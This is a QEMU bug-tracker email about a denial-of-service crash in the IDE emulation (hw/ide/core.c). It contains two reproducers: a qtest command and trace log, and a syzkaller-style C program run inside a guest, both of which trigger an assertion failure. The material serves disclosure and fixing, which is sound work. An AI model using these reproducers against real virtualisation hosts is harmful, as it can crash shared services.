[Bug 1777315] Re: Denial of service

[Alexander Bulekov]

Here's a qtest reproducer:

./i386-softmmu/qemu-system-i386 -M pc,accel=qtest \
-qtest null -nographic -vga qxl -qtest stdio \
-drive if=none,id=drive0,file=null-co://,file.read-zeroes=on,format=raw \
-drive if=none,id=drive1,file=null-co://,file.read-zeroes=on,format=raw \
-device ide-cd,drive=drive0 -device ide-hd,drive=drive1 -nodefaults \
< attachment

With -trace ide*:

[R +0.020410] outw 0x171 0xffff
28186@1594494474.407743:ide_ioport_write IDE PIO wr @ 0x171 (Features); val 
0xff; bus 0x55e383419100 IDEState 0x55e383419188
28186@1594494474.407747:ide_ioport_write IDE PIO wr @ 0x172 (Sector Count); val 
0xff; bus 0x55e383419100 IDEState 0x55e383419188
OK
[S +0.020428] OK
[R +0.020433] outw 0x176 0x35fb
28186@1594494474.407756:ide_ioport_write IDE PIO wr @ 0x176 (Device/Head); val 
0xfb; bus 0x55e383419100 IDEState 0x55e383419188
28186@1594494474.407757:ide_ioport_write IDE PIO wr @ 0x177 (Command); val 
0x35; bus 0x55e383419100 IDEState 0x55e383419558
28186@1594494474.407759:ide_exec_cmd IDE exec cmd: bus 0x55e383419100; state 
0x55e383419558; cmd 0x35
....
28186@1594494474.411019:ide_dma_cb IDEState 0x55e383419558; sector_num=1 n=511 
cmd=DMA WRITE
OK
[S +0.023732] OK
[R +0.023736] outb 0x376 0x8f
28186@1594494474.411060:ide_cmd_write IDE PIO wr @ 0x376 (Device Control); val 
0x8f; bus 0x55e383419100
OK
[S +0.023741] OK
[R +0.023742] outw 0x376 0x2779
28186@1594494474.411064:ide_cmd_write IDE PIO wr @ 0x376 (Device Control); val 
0x79; bus 0x55e383419100
OK
[S +0.023745] OK
qemu-system-i386: /home/alxndr/Development/qemu/hw/ide/core.c:880: void 
ide_dma_cb(void *, int): Assertion `n * 512 == s->sg.size' failed.


** Attachment added: "attachment"
   
https://bugs.launchpad.net/qemu/+bug/1777315/+attachment/5391760/+files/attachment

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https://bugs.launchpad.net/bugs/1777315

Title:
  Denial of service

Status in QEMU:
  In Progress

Bug description:
  Hi,
  QEMU 'hw/ide/core.c:871' Denial of Service Vulnerability in version 
qemu-2.12.0

  run the program in qemu-2.12.0:
  #define _GNU_SOURCE 
  #include <endian.h>
  #include <sys/syscall.h>
  #include <unistd.h>
  #include <fcntl.h>
  #include <stdio.h>
  #include <string.h>
  #include <sys/stat.h>
  #include <stdint.h>
  #include <string.h>

  static uintptr_t syz_open_dev(uintptr_t a0, uintptr_t a1, uintptr_t a2)
  {
          if (a0 == 0xc || a0 == 0xb) {
                  char buf[128];
                  sprintf(buf, "/dev/%s/%d:%d", a0 == 0xc ? "char" : "block", 
(uint8_t)a1, (uint8_t)a2);
                  return open(buf, O_RDWR, 0);
          } else {
                  char buf[1024];
                  char* hash;
  strncpy(buf, (char*)a0, sizeof(buf) - 1);
                  buf[sizeof(buf) - 1] = 0;
                  while ((hash = strchr(buf, '#'))) {
                          *hash = '0' + (char)(a1 % 10);
                          a1 /= 10;
                  }
                  return open(buf, a2, 0);
          }
  }

  uint64_t r[2] = {0xffffffffffffffff, 0xffffffffffffffff};
  void loop()
  {
          long res = 0;
  memcpy((void*)0x20000000, "/dev/sg#", 9);
          res = syz_open_dev(0x20000000, 0, 2);
          if (res != -1)
                  r[0] = res;
          res = syscall(__NR_dup2, r[0], r[0]);
          if (res != -1)
                  r[1] = res;
  *(uint8_t*)0x20000ec0 = 0;
  *(uint8_t*)0x20000ec1 = 0;
  *(uint8_t*)0x20000ec2 = 0;
  *(uint8_t*)0x20000ec3 = 0;
  *(uint32_t*)0x20000ec8 = 0;
  *(uint8_t*)0x20000ed8 = 0;
  *(uint8_t*)0x20000ed9 = 0;
  *(uint8_t*)0x20000eda = 0;
  *(uint8_t*)0x20000edb = 0;
  memcpy((void*)0x20000ee0, "\x9c\x4d\xe7\xd5\x0a\x62\x43\xa7\x77\x53\x67\xb3", 
12);
          syscall(__NR_write, r[1], 0x20000ec0, 0x323);
  }

  int main()
  {
          syscall(__NR_mmap, 0x20000000, 0x1000000, 3, 0x32, -1, 0);
          loop();
          return 0;
  }
  this will crash qemu, output information:
   qemu-system-x86_64: hw/ide/core.c:843: ide_dma_cb: Assertion `n * 512 == 
s->sg.size' failed.

  
  Thanks 
  owl337

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